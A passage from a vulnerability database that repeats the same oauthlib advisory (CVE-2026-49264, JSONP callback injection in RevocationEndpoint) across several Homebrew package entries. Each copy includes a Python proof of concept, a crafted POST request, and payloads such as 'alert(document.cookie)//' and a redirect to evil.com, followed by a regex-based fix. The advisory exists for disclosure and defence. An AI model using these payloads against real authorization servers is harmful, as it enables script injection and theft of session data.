request.callback:\n if not JSONP_CALLBACK_PATTERN.match(request.callback):\n request.callback = None\n```\n\nThis is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like `package.hello_world` are accepted, while blocking payloads like `alert(document.cookie)//`.\n\nAs a secondary hardening measure, when JSONP is enabled, the response should set `Content-Type: application/javascript` (not `application/json` or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns `application/json`.\n\nAlternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the `enable_jsonp` option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.",
"id": "BREW-mcp-google-sheets-CVE-2026-49264",
"modified": "2026-10-14T08:53:28Z",
"published": "2026-09-30T18:52:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49264"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/pull/951"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c"
},
{
"type": "PACKAGE",
"url": "https://github.com/oauthlib/oauthlib"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/oauthlib/PYSEC-2026-4113.yaml"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Oauthlib : Unsafe JSONP callback injection in RevocationEndpoint allows arbitrary JavaScript response generation",
"upstream": [
"GHSA-hj66-6f7g-4r5v",
"CVE-2026-49264",
"PYSEC-2026-4113"
]
}
BREW-PARSEDMARC-CVE-2026-49264 (GHSA-HJ66-6F7G-4R5V)
Vulnerability from osv_homebrew – Published: 2026-09-30 20:46 – Updated: 2026-10-14 09:55 – Source websiteSummary
When enable_jsonp=True, oauthlib's RevocationEndpoint reflects the user-supplied callback parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence callback.
Details
The issue is in oauthlib/oauth2/rfc6749/endpoints/revocation.py.
When enable_jsonp=True is passed to the RevocationEndpoint constructor, two code paths wrap the response body using the user-supplied request.callback parameter:
# Error response path (line 72-73):
if self.enable_jsonp and request.callback:
response_body = '{}({});'.format(request.callback, response_body)
# Success response path (line 81-82):
if self.enable_jsonp and request.callback:
response_body = request.callback + '();'
The request.callback value comes from HTTP request parameters, either the query string or POST body, via the Request class in oauthlib/common.py (lines 394-395), which merges query and body parameters into _params. Any value the client sends as callback is used verbatim.
There is no validation of any kind on the callback parameter: - No check that it is a valid JavaScript identifier - No whitelist of allowed characters - No escaping or sanitization
A safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching ^[a-zA-Z_$][a-zA-Z0-9_$.]*$). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.
How the injection works:
An attacker sends a revocation request with a crafted callback value:
POST /revoke HTTP/1.1
Content-Type: application/x-www-form-urlencoded
token=anything&callback=alert(document.cookie)//
The server responds with:
alert(document.cookie)//({"error": "invalid_client"});
This is syntactically valid JavaScript. alert(document.cookie) executes as a statement, and // comments out the rest of the line. The attacker has full control over the code that appears before the //.
Execution context and attack surface:
JSONP works by having a browser load a remote script via <script src="...">. The loaded script executes in the origin of the including page, not the remote server. This means a <script src="https://auth.example.com/revoke?token=x&callback=payload"> tag on evil.com would execute the payload in evil.com's context, not the auth server's context.
The impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes <script src> pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application's origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.
Note: the enable_jsonp parameter defaults to False, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes prepare_token_revocation_request() with an explicit callback parameter (oauthlib/oauth2/rfc6749/parameters.py, line 174), and the documentation shows JSONP revocation as a use case (oauthlib/oauth2/rfc6749/clients/base.py, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (test_revocation_endpoint.py, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.
PoC
Requirements: Python 3.x with oauthlib installed (pip install oauthlib).
from oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint
from oauthlib.oauth2.rfc6749.request_validator import RequestValidator
class FailValidator(RequestValidator):
"""Auth fails -> triggers error response path (lines 72-73)."""
def client_authentication_required(self, request, *a, **kw): return True
def authenticate_client(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return False
class PassValidator(RequestValidator):
"""Auth passes -> triggers success response path (lines 81-82)."""
def client_authentication_required(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return True
def revoke_token(self, token, token_type_hint, request, *a, **kw): pass
payloads = [
"alert(document.cookie)//",
"window.location='https://evil.com/'//",
"eval('malicious')//",
]
# --- Error path (401) ---
print("Error path (enable_jsonp=True, auth fails):")
ep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_fail.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Success path (200) ---
print("\nSuccess path (enable_jsonp=True, revocation succeeds):")
ep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_pass.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Control (default: enable_jsonp=False) ---
print("\nControl (enable_jsonp=False, default):")
ep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)
_, body, status = ep_safe.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body="token=x&callback=alert(1)//")
assert "alert" not in body, "Payload should not be present"
print(f" [{status}] {body}")
print("\nAll assertions passed.")
Expected output:
Error path (enable_jsonp=True, auth fails):
[401] Content-Type: application/json Body: alert(document.cookie)//({"error": "invalid_client"});
[401] Content-Type: application/json Body: window.location='https://evil.com/'//({"error": "invalid_client"});
[401] Content-Type: application/json Body: eval('malicious')//({"error": "invalid_client"});
Success path (enable_jsonp=True, revocation succeeds):
[200] Content-Type: (none) Body: alert(document.cookie)//();
[200] Content-Type: (none) Body: window.location='https://evil.com/'//();
[200] Content-Type: (none) Body: eval('malicious')//();
Control (enable_jsonp=False, default):
[401] {"error": "invalid_client"}
All assertions passed.
Both paths reflect the attacker's payload verbatim into the response body.
Impact
Any oauthlib-based authorization server that enables JSONP on the revocation endpoint (enable_jsonp=True) returns attacker-controlled JavaScript in its response body.
Any page or application that loads this endpoint's response as JSONP and exposes attacker influence over the callback parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib's client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page's DOM and any data normally accessible to scripts running in that origin.
The JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.
Affected versions: oauthlib >= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit da775de). The enable_jsonp gate was added in 2014 (commit b85f89a) but no validation of the callback value was ever added.
Suggested fix
Validate the callback parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:
import re
# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated
JSONP_CALLBACK_PATTERN = re.compile(r'^[a-zA-Z_$][a-zA-Z0-9_$]*(\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$')
# In create_revocation_response(), before using request.callback:
if self.enable_jsonp and request.callback:
if not JSONP_CALLBACK_PATTERN.match(request.callback):
request.callback = None
This is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like package.hello_world are accepted, while blocking payloads like alert(document.cookie)//.
As a secondary hardening measure, when JSONP is enabled, the response should set Content-Type: application/javascript (not application/json or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns application/json.
Alternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the enable_jsonp option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "oauthlib",
"resource_purl": "pkg:pypi/oauthlib@4.0.0",
"upstream_fixed_in": "4.0.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "parsedmarc",
"purl": "pkg:brew/parsedmarc"
},
"ranges": [
{
"events": [
{
"introduced": "8.11.0"
},
{
"fixed": "11.0.3_1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/oauthlib@4.0.0",
"name": "oauthlib",
"resource": "oauthlib",
"strategy": "registry",
"subject_version": "4.0.0"
}
]
},
"details": "### Summary\n\nWhen `enable_jsonp=True`, oauthlib\u0027s `RevocationEndpoint` reflects the user-supplied `callback` parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence `callback`.\n\n### Details\n\nThe issue is in `oauthlib/oauth2/rfc6749/endpoints/revocation.py`.\n\nWhen `enable_jsonp=True` is passed to the `RevocationEndpoint` constructor, two code paths wrap the response body using the user-supplied `request.callback` parameter:\n\n```python\n# Error response path (line 72-73):\nif self.enable_jsonp and request.callback:\n response_body = \u0027{}({});\u0027.format(request.callback, response_body)\n\n# Success response path (line 81-82):\nif self.enable_jsonp and request.callback:\n response_body = request.callback + \u0027();\u0027\n```\n\nThe `request.callback` value comes from HTTP request parameters, either the query string or POST body, via the `Request` class in `oauthlib/common.py` (lines 394-395), which merges query and body parameters into `_params`. Any value the client sends as `callback` is used verbatim.\n\nThere is no validation of any kind on the callback parameter:\n- No check that it is a valid JavaScript identifier\n- No whitelist of allowed characters\n- No escaping or sanitization\n\nA safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching `^[a-zA-Z_$][a-zA-Z0-9_$.]*$`). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.\n\n**How the injection works:**\n\nAn attacker sends a revocation request with a crafted callback value:\n\n```\nPOST /revoke HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\ntoken=anything\u0026callback=alert(document.cookie)//\n```\n\nThe server responds with:\n\n```\nalert(document.cookie)//({\"error\": \"invalid_client\"});\n```\n\nThis is syntactically valid JavaScript. `alert(document.cookie)` executes as a statement, and `//` comments out the rest of the line. The attacker has full control over the code that appears before the `//`.\n\n**Execution context and attack surface:**\n\nJSONP works by having a browser load a remote script via `\u003cscript src=\"...\"\u003e`. The loaded script executes in the origin of the **including page**, not the remote server. This means a `\u003cscript src=\"https://auth.example.com/revoke?token=x\u0026callback=payload\"\u003e` tag on `evil.com` would execute the payload in `evil.com`\u0027s context, not the auth server\u0027s context.\n\nThe impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes `\u003cscript src\u003e` pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application\u0027s origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.\n\nNote: the `enable_jsonp` parameter defaults to `False`, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes `prepare_token_revocation_request()` with an explicit `callback` parameter (`oauthlib/oauth2/rfc6749/parameters.py`, line 174), and the documentation shows JSONP revocation as a use case (`oauthlib/oauth2/rfc6749/clients/base.py`, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (`test_revocation_endpoint.py`, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.\n\n### PoC\n\n**Requirements:** Python 3.x with oauthlib installed (`pip install oauthlib`).\n\n```python\nfrom oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint\nfrom oauthlib.oauth2.rfc6749.request_validator import RequestValidator\n\n\nclass FailValidator(RequestValidator):\n \"\"\"Auth fails -\u003e triggers error response path (lines 72-73).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return True\n def authenticate_client(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return False\n\n\nclass PassValidator(RequestValidator):\n \"\"\"Auth passes -\u003e triggers success response path (lines 81-82).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return True\n def revoke_token(self, token, token_type_hint, request, *a, **kw): pass\n\n\npayloads = [\n \"alert(document.cookie)//\",\n \"window.location=\u0027https://evil.com/\u0027//\",\n \"eval(\u0027malicious\u0027)//\",\n]\n\n# --- Error path (401) ---\nprint(\"Error path (enable_jsonp=True, auth fails):\")\nep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_fail.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Success path (200) ---\nprint(\"\\nSuccess path (enable_jsonp=True, revocation succeeds):\")\nep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_pass.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Control (default: enable_jsonp=False) ---\nprint(\"\\nControl (enable_jsonp=False, default):\")\nep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)\n_, body, status = ep_safe.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=\"token=x\u0026callback=alert(1)//\")\nassert \"alert\" not in body, \"Payload should not be present\"\nprint(f\" [{status}] {body}\")\nprint(\"\\nAll assertions passed.\")\n```\n\n**Expected output:**\n\n```\nError path (enable_jsonp=True, auth fails):\n [401] Content-Type: application/json Body: alert(document.cookie)//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: window.location=\u0027https://evil.com/\u0027//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: eval(\u0027malicious\u0027)//({\"error\": \"invalid_client\"});\n\nSuccess path (enable_jsonp=True, revocation succeeds):\n [200] Content-Type: (none) Body: alert(document.cookie)//();\n [200] Content-Type: (none) Body: window.location=\u0027https://evil.com/\u0027//();\n [200] Content-Type: (none) Body: eval(\u0027malicious\u0027)//();\n\nControl (enable_jsonp=False, default):\n [401] {\"error\": \"invalid_client\"}\n\nAll assertions passed.\n```\n\nBoth paths reflect the attacker\u0027s payload verbatim into the response body.\n\n### Impact\n\nAny oauthlib-based authorization server that enables JSONP on the revocation endpoint (`enable_jsonp=True`) returns attacker-controlled JavaScript in its response body.\n\nAny page or application that loads this endpoint\u0027s response as JSONP and exposes attacker influence over the `callback` parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib\u0027s client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page\u0027s DOM and any data normally accessible to scripts running in that origin.\n\nThe JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.\n\n**Affected versions:** oauthlib \u003e= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit `da775de`). The `enable_jsonp` gate was added in 2014 (commit `b85f89a`) but no validation of the callback value was ever added.\n\n### Suggested fix\n\nValidate the `callback` parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:\n\n```python\nimport re\n\n# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated\nJSONP_CALLBACK_PATTERN = re.compile(r\u0027^[a-zA-Z_$][a-zA-Z0-9_$]*(\\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$\u0027)\n\n# In create_revocation_response(), before using request.callback:\nif self.enable_jsonp and request.callback:\n if not JSONP_CALLBACK_PATTERN.match(request.callback):\n request.callback = None\n```\n\nThis is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like `package.hello_world` are accepted, while blocking payloads like `alert(document.cookie)//`.\n\nAs a secondary hardening measure, when JSONP is enabled, the response should set `Content-Type: application/javascript` (not `application/json` or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns `application/json`.\n\nAlternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the `enable_jsonp` option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.",
"id": "BREW-parsedmarc-CVE-2026-49264",
"modified": "2026-10-14T09:55:31Z",
"published": "2026-09-30T20:46:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49264"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/pull/951"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c"
},
{
"type": "PACKAGE",
"url": "https://github.com/oauthlib/oauthlib"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/oauthlib/PYSEC-2026-4113.yaml"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Oauthlib : Unsafe JSONP callback injection in RevocationEndpoint allows arbitrary JavaScript response generation",
"upstream": [
"GHSA-hj66-6f7g-4r5v",
"CVE-2026-49264",
"PYSEC-2026-4113"
]
}
BREW-PROWLER-CVE-2026-49264 (GHSA-HJ66-6F7G-4R5V)
Vulnerability from osv_homebrew – Published: 2026-09-30 20:14 – Updated: 2026-10-14 09:49 – Source websiteSummary
When enable_jsonp=True, oauthlib's RevocationEndpoint reflects the user-supplied callback parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence callback.
Details
The issue is in oauthlib/oauth2/rfc6749/endpoints/revocation.py.
When enable_jsonp=True is passed to the RevocationEndpoint constructor, two code paths wrap the response body using the user-supplied request.callback parameter:
# Error response path (line 72-73):
if self.enable_jsonp and request.callback:
response_body = '{}({});'.format(request.callback, response_body)
# Success response path (line 81-82):
if self.enable_jsonp and request.callback:
response_body = request.callback + '();'
The request.callback value comes from HTTP request parameters, either the query string or POST body, via the Request class in oauthlib/common.py (lines 394-395), which merges query and body parameters into _params. Any value the client sends as callback is used verbatim.
There is no validation of any kind on the callback parameter: - No check that it is a valid JavaScript identifier - No whitelist of allowed characters - No escaping or sanitization
A safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching ^[a-zA-Z_$][a-zA-Z0-9_$.]*$). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.
How the injection works:
An attacker sends a revocation request with a crafted callback value:
POST /revoke HTTP/1.1
Content-Type: application/x-www-form-urlencoded
token=anything&callback=alert(document.cookie)//
The server responds with:
alert(document.cookie)//({"error": "invalid_client"});
This is syntactically valid JavaScript. alert(document.cookie) executes as a statement, and // comments out the rest of the line. The attacker has full control over the code that appears before the //.
Execution context and attack surface:
JSONP works by having a browser load a remote script via <script src="...">. The loaded script executes in the origin of the including page, not the remote server. This means a <script src="https://auth.example.com/revoke?token=x&callback=payload"> tag on evil.com would execute the payload in evil.com's context, not the auth server's context.
The impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes <script src> pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application's origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.
Note: the enable_jsonp parameter defaults to False, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes prepare_token_revocation_request() with an explicit callback parameter (oauthlib/oauth2/rfc6749/parameters.py, line 174), and the documentation shows JSONP revocation as a use case (oauthlib/oauth2/rfc6749/clients/base.py, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (test_revocation_endpoint.py, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.
PoC
Requirements: Python 3.x with oauthlib installed (pip install oauthlib).
from oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint
from oauthlib.oauth2.rfc6749.request_validator import RequestValidator
class FailValidator(RequestValidator):
"""Auth fails -> triggers error response path (lines 72-73)."""
def client_authentication_required(self, request, *a, **kw): return True
def authenticate_client(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return False
class PassValidator(RequestValidator):
"""Auth passes -> triggers success response path (lines 81-82)."""
def client_authentication_required(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return True
def revoke_token(self, token, token_type_hint, request, *a, **kw): pass
payloads = [
"alert(document.cookie)//",
"window.location='https://evil.com/'//",
"eval('malicious')//",
]
# --- Error path (401) ---
print("Error path (enable_jsonp=True, auth fails):")
ep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_fail.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Success path (200) ---
print("\nSuccess path (enable_jsonp=True, revocation succeeds):")
ep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_pass.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Control (default: enable_jsonp=False) ---
print("\nControl (enable_jsonp=False, default):")
ep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)
_, body, status = ep_safe.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body="token=x&callback=alert(1)//")
assert "alert" not in body, "Payload should not be present"
print(f" [{status}] {body}")
print("\nAll assertions passed.")
Expected output:
Error path (enable_jsonp=True, auth fails):
[401] Content-Type: application/json Body: alert(document.cookie)//({"error": "invalid_client"});
[401] Content-Type: application/json Body: window.location='https://evil.com/'//({"error": "invalid_client"});
[401] Content-Type: application/json Body: eval('malicious')//({"error": "invalid_client"});
Success path (enable_jsonp=True, revocation succeeds):
[200] Content-Type: (none) Body: alert(document.cookie)//();
[200] Content-Type: (none) Body: window.location='https://evil.com/'//();
[200] Content-Type: (none) Body: eval('malicious')//();
Control (enable_jsonp=False, default):
[401] {"error": "invalid_client"}
All assertions passed.
Both paths reflect the attacker's payload verbatim into the response body.
Impact
Any oauthlib-based authorization server that enables JSONP on the revocation endpoint (enable_jsonp=True) returns attacker-controlled JavaScript in its response body.
Any page or application that loads this endpoint's response as JSONP and exposes attacker influence over the callback parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib's client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page's DOM and any data normally accessible to scripts running in that origin.
The JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.
Affected versions: oauthlib >= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit da775de). The enable_jsonp gate was added in 2014 (commit b85f89a) but no validation of the callback value was ever added.
Suggested fix
Validate the callback parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:
import re
# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated
JSONP_CALLBACK_PATTERN = re.compile(r'^[a-zA-Z_$][a-zA-Z0-9_$]*(\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$')
# In create_revocation_response(), before using request.callback:
if self.enable_jsonp and request.callback:
if not JSONP_CALLBACK_PATTERN.match(request.callback):
request.callback = None
This is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like package.hello_world are accepted, while blocking payloads like alert(document.cookie)//.
As a secondary hardening measure, when JSONP is enabled, the response should set Content-Type: application/javascript (not application/json or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns application/json.
Alternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the enable_jsonp option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "oauthlib",
"resource_purl": "pkg:pypi/oauthlib@4.0.0",
"upstream_fixed_in": "4.0.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "prowler",
"purl": "pkg:brew/prowler"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.1"
},
{
"fixed": "5.43.0_2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/oauthlib@4.0.0",
"name": "oauthlib",
"resource": "oauthlib",
"strategy": "registry",
"subject_version": "4.0.0"
}
]
},
"details": "### Summary\n\nWhen `enable_jsonp=True`, oauthlib\u0027s `RevocationEndpoint` reflects the user-supplied `callback` parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence `callback`.\n\n### Details\n\nThe issue is in `oauthlib/oauth2/rfc6749/endpoints/revocation.py`.\n\nWhen `enable_jsonp=True` is passed to the `RevocationEndpoint` constructor, two code paths wrap the response body using the user-supplied `request.callback` parameter:\n\n```python\n# Error response path (line 72-73):\nif self.enable_jsonp and request.callback:\n response_body = \u0027{}({});\u0027.format(request.callback, response_body)\n\n# Success response path (line 81-82):\nif self.enable_jsonp and request.callback:\n response_body = request.callback + \u0027();\u0027\n```\n\nThe `request.callback` value comes from HTTP request parameters, either the query string or POST body, via the `Request` class in `oauthlib/common.py` (lines 394-395), which merges query and body parameters into `_params`. Any value the client sends as `callback` is used verbatim.\n\nThere is no validation of any kind on the callback parameter:\n- No check that it is a valid JavaScript identifier\n- No whitelist of allowed characters\n- No escaping or sanitization\n\nA safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching `^[a-zA-Z_$][a-zA-Z0-9_$.]*$`). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.\n\n**How the injection works:**\n\nAn attacker sends a revocation request with a crafted callback value:\n\n```\nPOST /revoke HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\ntoken=anything\u0026callback=alert(document.cookie)//\n```\n\nThe server responds with:\n\n```\nalert(document.cookie)//({\"error\": \"invalid_client\"});\n```\n\nThis is syntactically valid JavaScript. `alert(document.cookie)` executes as a statement, and `//` comments out the rest of the line. The attacker has full control over the code that appears before the `//`.\n\n**Execution context and attack surface:**\n\nJSONP works by having a browser load a remote script via `\u003cscript src=\"...\"\u003e`. The loaded script executes in the origin of the **including page**, not the remote server. This means a `\u003cscript src=\"https://auth.example.com/revoke?token=x\u0026callback=payload\"\u003e` tag on `evil.com` would execute the payload in `evil.com`\u0027s context, not the auth server\u0027s context.\n\nThe impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes `\u003cscript src\u003e` pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application\u0027s origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.\n\nNote: the `enable_jsonp` parameter defaults to `False`, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes `prepare_token_revocation_request()` 